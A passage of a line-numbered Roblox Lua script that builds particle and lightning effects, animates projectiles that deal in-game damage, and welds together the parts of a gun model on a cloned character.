  3511. local hum = c:findFirstChild("Humanoid")
  3512. if hum ~= nil then
  3513. local head = c:findFirstChild("Torso")
  3514. if head ~= nil then
  3515. local targ = head.Position - Part.Position
  3516. local mag = targ.magnitude
  3517. if mag <= Magnitude and c.Name ~= Player.Name then
  3518. Damage(head, head, MinimumDamage, MaximumDamage, KnockBack, Type, RootPart, .1, "rbxassetid://" .. HitSound, HitPitch)
  3519. end
  3520. end
  3521. end
  3522. end
  3523. end
  3524.  
  3525. EffectModel = Create("Model"){
  3526. Parent = Character,
  3527. Name = "Effects",
  3528. }
  3529.  
  3530. Effects = {
  3531. Block = {
  3532. Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay, Type)
  3533. local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
  3534. prt.Anchored = true
  3535. prt.CFrame = cframe
  3536. local msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3537. game:GetService("Debris"):AddItem(prt, 10)
  3538. if Type == 1 or Type == nil then
  3539. table.insert(Effects, {
  3540. prt,
  3541. "Block1",
  3542. delay,
  3543. x3,
  3544. y3,
  3545. z3,
  3546. msh
  3547. })
  3548. elseif Type == 2 then
  3549. table.insert(Effects, {
  3550. prt,
  3551. "Block2",
  3552. delay,
  3553. x3,
  3554. y3,
  3555. z3,
  3556. msh
  3557. })
  3558. end
  3559. end;
  3560. };
  3561.  
  3562. Cylinder = {
  3563. Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3564. local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
  3565. prt.Anchored = true
  3566. prt.CFrame = cframe
  3567. local msh = CFuncs.Mesh.Create("CylinderMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3568. game:GetService("Debris"):AddItem(prt, 10)
  3569. table.insert(Effects, {
  3570. prt,
  3571. "Cylinder",
  3572. delay,
  3573. x3,
  3574. y3,
  3575. z3,
  3576. msh
  3577. })
  3578. end;
  3579. };
  3580. Head = {
  3581. Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3582. local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
  3583. prt.Anchored = true
  3584. prt.CFrame = cframe
  3585. local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Head", "nil", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3586. game:GetService("Debris"):AddItem(prt, 10)
  3587. table.insert(Effects, {
  3588. prt,
  3589. "Cylinder",
  3590. delay,
  3591. x3,
  3592. y3,
  3593. z3,
  3594. msh
  3595. })
  3596. end;
  3597. };
  3598.  
  3599. Sphere = {
  3600. Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3601. local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
  3602. prt.Anchored = true
  3603. prt.CFrame = cframe
  3604. local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3605. game:GetService("Debris"):AddItem(prt, 10)
  3606. table.insert(Effects, {
  3607. prt,
  3608. "Cylinder",
  3609. delay,
  3610. x3,
  3611. y3,
  3612. z3,
  3613. msh
  3614. })
  3615. end;
  3616. };
  3617.  
  3618. Elect = {
  3619. Create = function(cff, x, y, z)
  3620. local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, BrickColor.new("Lime green"), "Part", Vector3.new(1, 1, 1))
  3621. prt.Anchored = true
  3622. prt.CFrame = cff * CFrame.new(math.random(-x, x), math.random(-y, y), math.random(-z, z))
  3623. prt.CFrame = CFrame.new(prt.Position)
  3624. game:GetService("Debris"):AddItem(prt, 2)
  3625. local xval = math.random() / 2
  3626. local yval = math.random() / 2
  3627. local zval = math.random() / 2
  3628. local msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(xval, yval, zval))
  3629. table.insert(Effects, {
  3630. prt,
  3631. "Elec",
  3632. 0.1,
  3633. x,
  3634. y,
  3635. z,
  3636. xval,
  3637. yval,
  3638. zval
  3639. })
  3640. end;
  3641.  
  3642. };
  3643.  
  3644. Ring = {
  3645. Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3646. local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
  3647. prt.Anchored = true
  3648. prt.CFrame = cframe
  3649. local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "FileMesh", "rbxassetid://3270017", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3650. game:GetService("Debris"):AddItem(prt, 10)
  3651. table.insert(Effects, {
  3652. prt,
  3653. "Cylinder",
  3654. delay,
  3655. x3,
  3656. y3,
  3657. z3,
  3658. msh
  3659. })
  3660. end;
  3661. };
  3662.  
  3663.  
  3664. Wave = {
  3665. Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3666. local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
  3667. prt.Anchored = true
  3668. prt.CFrame = cframe
  3669. local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "FileMesh", "rbxassetid://20329976", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3670. game:GetService("Debris"):AddItem(prt, 10)
  3671. table.insert(Effects, {
  3672. prt,
  3673. "Cylinder",
  3674. delay,
  3675. x3,
  3676. y3,
  3677. z3,
  3678. msh
  3679. })
  3680. end;
  3681. };
  3682.  
  3683. Break = {
  3684. Create = function(brickcolor, cframe, x1, y1, z1)
  3685. local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new(0.5, 0.5, 0.5))
  3686. prt.Anchored = true
  3687. prt.CFrame = cframe * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50))
  3688. local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3689. local num = math.random(10, 50) / 1000
  3690. game:GetService("Debris"):AddItem(prt, 10)
  3691. table.insert(Effects, {
  3692. prt,
  3693. "Shatter",
  3694. num,
  3695. prt.CFrame,
  3696. math.random() - math.random(),
  3697. 0,
  3698. math.random(50, 100) / 100
  3699. })
  3700. end;
  3701. };
  3702.  
  3703. Fire = {
  3704. Create = function(brickcolor, cframe, x1, y1, z1, delay)
  3705. local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
  3706. prt.Anchored = true
  3707. prt.CFrame = cframe
  3708. msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3709. game:GetService("Debris"):AddItem(prt, 10)
  3710. table.insert(Effects, {
  3711. prt,
  3712. "Fire",
  3713. delay,
  3714. 1,
  3715. 1,
  3716. 1,
  3717. msh
  3718. })
  3719. end;
  3720. };
  3721.  
  3722. FireWave = {
  3723. Create = function(brickcolor, cframe, x1, y1, z1)
  3724. local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 1, brickcolor, "Effect", Vector3.new())
  3725. prt.Anchored = true
  3726. prt.CFrame = cframe
  3727. msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
  3728. local d = Create("Decal"){
  3729. Parent = prt,
  3730. Texture = "rbxassetid://26356434",
  3731. Face = "Top",
  3732. }
  3733. local d = Create("Decal"){
  3734. Parent = prt,
  3735. Texture = "rbxassetid://26356434",
  3736. Face = "Bottom",
  3737. }
  3738. game:GetService("Debris"):AddItem(prt, 10)
  3739. table.insert(Effects, {
  3740. prt,
  3741. "FireWave",
  3742. 1,
  3743. 30,
  3744. math.random(400, 600) / 100,
  3745. msh
  3746. })
  3747. end;
  3748. };
  3749.  
  3750. Lightning = {
  3751. Create = function(p0, p1, tym, ofs, col, th, tra, last)
  3752. local magz = (p0 - p1).magnitude
  3753. local curpos = p0
  3754. local trz = {
  3755. -ofs,
  3756. ofs
  3757. }
  3758. for i = 1, tym do
  3759. local li = CFuncs.Part.Create(EffectModel, "Neon", 0, tra or 0.4, col, "Ref", Vector3.new(th, th, magz / tym))
  3760. local ofz = Vector3.new(trz[math.random(1, 2)], trz[math.random(1, 2)], trz[math.random(1, 2)])
  3761. local trolpos = CFrame.new(curpos, p1) * CFrame.new(0, 0, magz / tym).p + ofz
  3762. li.Material = "Neon"
  3763. if tym == i then
  3764. local magz2 = (curpos - p1).magnitude
  3765. li.Size = Vector3.new(th, th, magz2)
  3766. li.CFrame = CFrame.new(curpos, p1) * CFrame.new(0, 0, -magz2 / 2)
  3767. table.insert(Effects, {
  3768. li,
  3769. "Disappear",
  3770. last
  3771. })
  3772. else
  3773. do
  3774. do
  3775. li.CFrame = CFrame.new(curpos, trolpos) * CFrame.new(0, 0, magz / tym / 2)
  3776. curpos = li.CFrame * CFrame.new(0, 0, magz / tym / 2).p
  3777. game.Debris:AddItem(li, 10)
  3778. table.insert(Effects, {
  3779. li,
  3780. "Disappear",
  3781. last
  3782. })
  3783. end
  3784. end
  3785. end
  3786. end
  3787. end
  3788. };
  3789.  
  3790. EffectTemplate = {
  3791.  
  3792. };
  3793. }
  3794.  
  3795. coroutine.wrap(function()
  3796. while wait() do
  3797. if 0 < #Effects then
  3798. for e = 1, #Effects do
  3799. if Effects[e] ~= nil then
  3800. local Thing = Effects[e]
  3801. if Thing ~= nil then
  3802. local Part = Thing[1]
  3803. local Mode = Thing[2]
  3804. local Delay = Thing[3]
  3805. local IncX = Thing[4]
  3806. local IncY = Thing[5]
  3807. local IncZ = Thing[6]
  3808. if Thing[2] == "Shoot" then
  3809. local Look = Thing[1]
  3810. local move = 30
  3811. if Thing[8] == 3 then
  3812. move = 10
  3813. end
  3814. local hit, pos = rayCast(Thing[4], Thing[1], move, m)
  3815. if Thing[10] ~= nil then
  3816. da = pos
  3817. cf2 = CFrame.new(Thing[4], Thing[10].Position)
  3818. cfa = CFrame.new(Thing[4], pos)
  3819. tehCF = cfa:lerp(cf2, 0.2)
  3820. Thing[1] = tehCF.lookVector
  3821. end
  3822. local mag = (Thing[4] - pos).magnitude
  3823. Effects["Head"].Create(Torso.BrickColor, CFrame.new((Thing[4] + pos) / 2, pos) * CFrame.Angles(1.57, 0, 0), 1, mag * 5, 1, 0.5, 0, 0.5, 0.2)
  3824. if Thing[8] == 2 then
  3825. Effects["Ring"].Create(Torso.BrickColor, CFrame.new((Thing[4] + pos) / 2, pos) * CFrame.Angles(1.57, 0, 0) * CFrame.fromEulerAnglesXYZ(1.57, 0, 0), 1, 1, 0.1, 0.5, 0.5, 0.1, 0.1, 1)
  3826. end
  3827. Thing[4] = Thing[4] + Look * move
  3828. Thing[3] = Thing[3] - 1
  3829. if 2 < Thing[5] then
  3830. Thing[5] = Thing[5] - 0.3
  3831. Thing[6] = Thing[6] - 0.3
  3832. end
  3833. if hit ~= nil then
  3834. Thing[3] = 0
  3835. if Thing[8] == 1 or Thing[8] == 3 then
  3836. Damage(hit, hit, Thing[5], Thing[6], Thing[7], "Normal", RootPart, 0, "", 1)
  3837. else
  3838. if Thing[8] == 2 then
  3839. Damage(hit, hit, Thing[5], Thing[6], Thing[7], "Normal", RootPart, 0, "", 1)
  3840. if (hit.Parent:findFirstChild("Humanoid")) ~= nil or (hit.Parent.Parent:findFirstChild("Humanoid")) ~= nil then
  3841. ref = CFuncs.Part.Create(workspace, "Neon", 0, 1, BrickColor.new("Really red"), "Reference", Vector3.new())
  3842. ref.Anchored = true
  3843. ref.CFrame = CFrame.new(pos)
  3844. CFuncs["Sound"].Create("161006093", ref, 1, 1.2)
  3845. game:GetService("Debris"):AddItem(ref, 0.2)
  3846. Effects["Block"].Create(Torso.BrickColor, CFrame.new(ref.Position) * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)), 1, 1, 1, 10, 10, 10, 0.1, 2)
  3847. Effects["Ring"].Create(BrickColor.new("Bright yellow"), CFrame.new(ref.Position) * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)), 1, 1, 0.1, 4, 4, 0.1, 0.1)
  3848. MagnitudeDamage(ref, 15, Thing[5] / 1.5, Thing[6] / 1.5, 0, "Normal", "", 1)
  3849. end
  3850. end
  3851. end
  3852. ref = CFuncs.Part.Create(workspace, "Neon", 0, 1, BrickColor.new("Really red"), "Reference", Vector3.new())
  3853. ref.Anchored = true
  3854. ref.CFrame = CFrame.new(pos)
  3855. Effects["Sphere"].Create(Torso.BrickColor, CFrame.new(pos), 5, 5, 5, 1, 1, 1, 0.07)
  3856. game:GetService("Debris"):AddItem(ref, 1)
  3857. end
  3858. if Thing[3] <= 0 then
  3859. table.remove(Effects, e)
  3860. end
  3861. end
  3862. do
  3863. do
  3864. if Thing[2] == "FireWave" then
  3865. if Thing[3] <= Thing[4] then
  3866. Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(0, 1, 0)
  3867. Thing[3] = Thing[3] + 1
  3868. Thing[6].Scale = Thing[6].Scale + Vector3.new(Thing[5], 0, Thing[5])
  3869. else
  3870. Part.Parent = nil
  3871. table.remove(Effects, e)
  3872. end
  3873. end
  3874. if Thing[2] ~= "Shoot" and Thing[2] ~= "Wave" and Thing[2] ~= "FireWave" then
  3875. if Thing[1].Transparency <= 1 then
  3876. if Thing[2] == "Block1" then
  3877. Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50))
  3878. Mesh = Thing[7]
  3879. Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
  3880. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3881. else
  3882. if Thing[2] == "Block2" then
  3883. Thing[1].CFrame = Thing[1].CFrame
  3884. Mesh = Thing[7]
  3885. Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
  3886. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3887. else
  3888. if Thing[2] == "Fire" then
  3889. Thing[1].CFrame = CFrame.new(Thing[1].Position) + Vector3.new(0, 0.2, 0)
  3890. Thing[1].CFrame = Thing[1].CFrame * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50))
  3891. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3892. else
  3893. if Thing[2] == "Cylinder" then
  3894. Mesh = Thing[7]
  3895. Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
  3896. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3897. else
  3898. if Thing[2] == "Blood" then
  3899. Mesh = Thing[7]
  3900. Thing[1].CFrame = Thing[1].CFrame * CFrame.new(0, 0.5, 0)
  3901. Mesh.Scale = Mesh.Scale + Vector3.new(Thing[4], Thing[5], Thing[6])
  3902. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3903. else
  3904. if Thing[2] == "Elec" then
  3905. Mesh = Thing[10]
  3906. Mesh.Scale = Mesh.Scale + Vector3.new(Thing[7], Thing[8], Thing[9])
  3907. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3908. else
  3909. if Thing[2] == "Disappear" then
  3910. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3911. else
  3912. if Thing[2] == "Shatter" then
  3913. Thing[1].Transparency = Thing[1].Transparency + Thing[3]
  3914. Thing[4] = Thing[4] * CFrame.new(0, Thing[7], 0)
  3915. Thing[1].CFrame = Thing[4] * CFrame.fromEulerAnglesXYZ(Thing[6], 0, 0)
  3916. Thing[6] = Thing[6] + Thing[5]
  3917. end
  3918. end
  3919. end
  3920. end
  3921. end
  3922. end
  3923. end
  3924. end
  3925. else
  3926. Part.Parent = nil
  3927. table.remove(Effects, e)
  3928. end
  3929. end
  3930. end
  3931. end
  3932. end
  3933. end
  3934. end
  3935. end
  3936. end
  3937. end)()
  3938. function attackone()
  3939. attack = true
  3940. for i = 0, 1, 0.1 do
  3941. swait()
  3942. PlayAnimationFromTable({
  3943. CFrame.new(-0, -0, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
  3944. CFrame.new(0, 1.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
  3945. CFrame.new(1.5, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
  3946. CFrame.new(-1.5, -0, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
  3947. CFrame.new(0.5, -2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
  3948. CFrame.new(-0.5, -2, -0, 1, 0, 0, 0, 1, 0, 0, 0, 1),
  3949. }, .3, false)
  3950. end
  3951. attack = false
  3952. end
  3953.  
  3954. Humanoid.WalkSpeed = 0;
  3955.  
  3956. FCharacter.Parent = Character;
  3957.  
  3958. local FLeftArm = FCharacter["Left Arm"]
  3959. local FRightArm = FCharacter["Right Arm"]
  3960. local FLeftLeg = FCharacter["Left Leg"]
  3961. local FRightLeg = FCharacter["Right Leg"]
  3962.  
  3963. local FRW = newMotor(FCharacter.Torso, FRightArm, CFrame.new(1.5, 0, 0), CFrame.new(0, 0, 0))
  3964. local FLW = newMotor(FCharacter.Torso, FLeftArm, CFrame.new(-1.5, 0, 0), CFrame.new(0, 0, 0))
  3965. local FRH = newMotor(FCharacter.Torso, FRightLeg, CFrame.new(.5, -2, 0), CFrame.new(0, 0, 0))
  3966. local FLH = newMotor(FCharacter.Torso, FLeftLeg, CFrame.new(-.5, -2, 0), CFrame.new(0, 0, 0))
  3967. local FRootPart = FCharacter.HumanoidRootPart
  3968. local FRootJoint = FRootPart.RootJoint
  3969. FRootJoint.C1 = CFrame.new(0, 0, 0)
  3970. FRootJoint.C0 = CFrame.new(0, 0, 0)
  3971. FCharacter.Torso.Neck.C1 = CFrame.new(0, 0, 0)
  3972. FCharacter.Torso.Neck.C0 = CFrame.new(0, 1.5, 0)
  3973. FRootPart.CFrame = RootPart.CFrame * CFrame.new(0,0,10)
  3974.  
  3975. New = function(Object, Parent, Name, Data)
  3976. local Object = Instance.new(Object)
  3977. for Index, Value in pairs(Data or {}) do
  3978. Object[Index] = Value
  3979. end
  3980. Object.Parent = Parent
  3981. Object.Name = Name
  3982. return Object
  3983. end
  3984.  
  3985.  
  3986.  
  3987. local fgm = New("Model",FCharacter,"GunModel",{})
  3988. FHandle = New("Part",fgm,"FHandle",{Material = Enum.Material.SmoothPlastic,Transparency = 1,Transparency = 1,Size = Vector3.new(1.78105354, 1.21267569, 0.446083069),CFrame = CFrame.new(3.48884702, 1.89424598, -23.6011944, 0.0172098875, -7.30156898e-07, 0.999851942, 0.999853492, 1.19907781e-08, -0.0172098596, -1.80598714e-09, 1.00000083, 1.4975667e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  3989. moter = New("Weld",FHandle,"mot",{Part0 = FLeftArm,Part1 = FHandle,})
  3990. moter.C0 = CFrame.new(0.0111980997, -1.6377027, -0.318750381, -0.0172109306, 0, -0.999851882, 0.999851882, 0, -0.0172109306, 0, -1, 0)
  3991. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(3.46324158, 2.55061626, -23.0996056, 0.0172099378, 1.26508749e-05, 0.999852061, 0.999856234, 0.000737910799, -0.0172098614, -0.000738026109, 1.00000215, 2.29468287e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  3992. Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.492160469, 0.24608025, 0.123040132),})
  3993. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098838, 0.999853015, -0.000738022442, 1.18836761e-05, 0.000737924012, 1.00000048, 0.999851942, -0.0172098614, 1.52736902e-06),C1 = CFrame.new(0.655831456, 0.501588821, -0.0368974209, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  3994. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Shape = Enum.PartType.Cylinder,Size = Vector3.new(0.200000003, 0.270688266, 0.270688266),CFrame = CFrame.new(3.47537327, 1.11045444, -23.2953625, 0.0172099359, 1.26359728e-05, 0.999851942, 0.999856234, 0.000738034665, -0.0172098596, -0.000738148578, 1.00000226, 2.36918868e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  3995. Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(0.123040125, 1, 1),MeshType = Enum.MeshType.Cylinder,})
  3996. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098819, 0.999853015, -0.00073814491, 1.18687749e-05, 0.000738047936, 1.0000006, 0.999851882, -0.0172098596, 1.60187483e-06),C1 = CFrame.new(-0.783906102, 0.305831909, 1.74045563e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  3997. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(1.47648132, 0.221472263, 0.344512314),CFrame = CFrame.new(3.48828244, 1.86040294, -23.3093491, 0.0172099452, 3.70001203e-08, 0.999852061, 0.99985671, -3.59708352e-09, -0.0172098596, -4.18887769e-09, 1.0000025, 2.26488032e-06),BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  3998. Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(1, 1.00999999, 1),})
  3999. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),C1 = CFrame.new(-0.0338476896, 0.291845322, 1.8119812e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4000. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.98432076, 0.200000003, 0.24608022),CFrame = CFrame.new(3.48404813, 1.61474013, -23.4433804, 0.0172099359, 1.26359728e-05, 0.999851942, 0.999856234, 0.000738034665, -0.0172098596, -0.000738148578, 1.00000226, 2.36918868e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4001. Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(1, 0.246080264, 1),})
  4002. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098819, 0.999853015, -0.00073814491, 1.18687749e-05, 0.000738047936, 1.0000006, 0.999851882, -0.0172098596, 1.60187483e-06),C1 = CFrame.new(-0.279546618, 0.157814026, 1.21593475e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4003. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Shape = Enum.PartType.Cylinder,Size = Vector3.new(0.984321058, 0.200000003, 0.200000003),CFrame = CFrame.new(3.36101127, 1.61687815, -23.4187717, 0.0172099359, 1.26359728e-05, 0.999851942, 0.999856234, 0.000738034665, -0.0172098596, -0.000738148578, 1.00000226, 2.36918868e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4004. Mesh = New("SpecialMesh",Part,"Mesh",{Scale = Vector3.new(1, 0.492160618, 0.492160439),MeshType = Enum.MeshType.Cylinder,})
  4005. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098819, 0.999853015, -0.00073814491, 1.18687749e-05, 0.000738047936, 1.0000006, 0.999851882, -0.0172098596, 1.60187483e-06),C1 = CFrame.new(-0.279526353, 0.182422638, -0.123043299, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4006. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(3.53706741, 2.54934502, -23.0996056, 0.0172099378, 1.26508749e-05, 0.999852061, 0.999856234, 0.000737910799, -0.0172098614, -0.000738026109, 1.00000215, 2.29468287e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4007. Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.492160469, 0.246080235, 0.123040132),})
  4008. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098838, 0.999853015, -0.000738022442, 1.18836761e-05, 0.000737924012, 1.00000048, 0.999851942, -0.0172098614, 1.52736902e-06),C1 = CFrame.new(0.655830979, 0.501588821, 0.0369393826, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
  4009. Part = New("Part",fgm,"Part",{Material = Enum.Material.SmoothPlastic,Size = Vector3.new(1.47648132, 0.200000003, 0.200000003),CFrame = CFrame.new(3.48828554, 1.86097884, -23.1606178, 0.0172099359, 1.26359728e-05, 0.999851942, 0.999856234, 0.000738034665, -0.0172098596, -0.000738148578, 1.00000226, 2.36918868e-06),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,})
  4010. Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(1, 0.369120389, 0.7382406),})
  4011. mot = New("Weld",Part,"mot",{Part0 = Part,Part1 = FHandle,C0 = CFrame.new(0, 0, 0, 0.0172098819, 0.999853015, -0.00073814491, 1.18687749e-05, 0.000738047936, 1.0000006, 0.999851882, -0.0172098596, 1.60187483e-06),C1 = CFrame.new(-0.0332717896, 0.440576553, 1.14440918e-05, 0.0172098875, 0.999853492, -1.80598714e-09, -7.30156898e-07, 1.19907781e-08, 1.00000083, 0.999851942, -0.0172098596, 1.4975667e-06),})
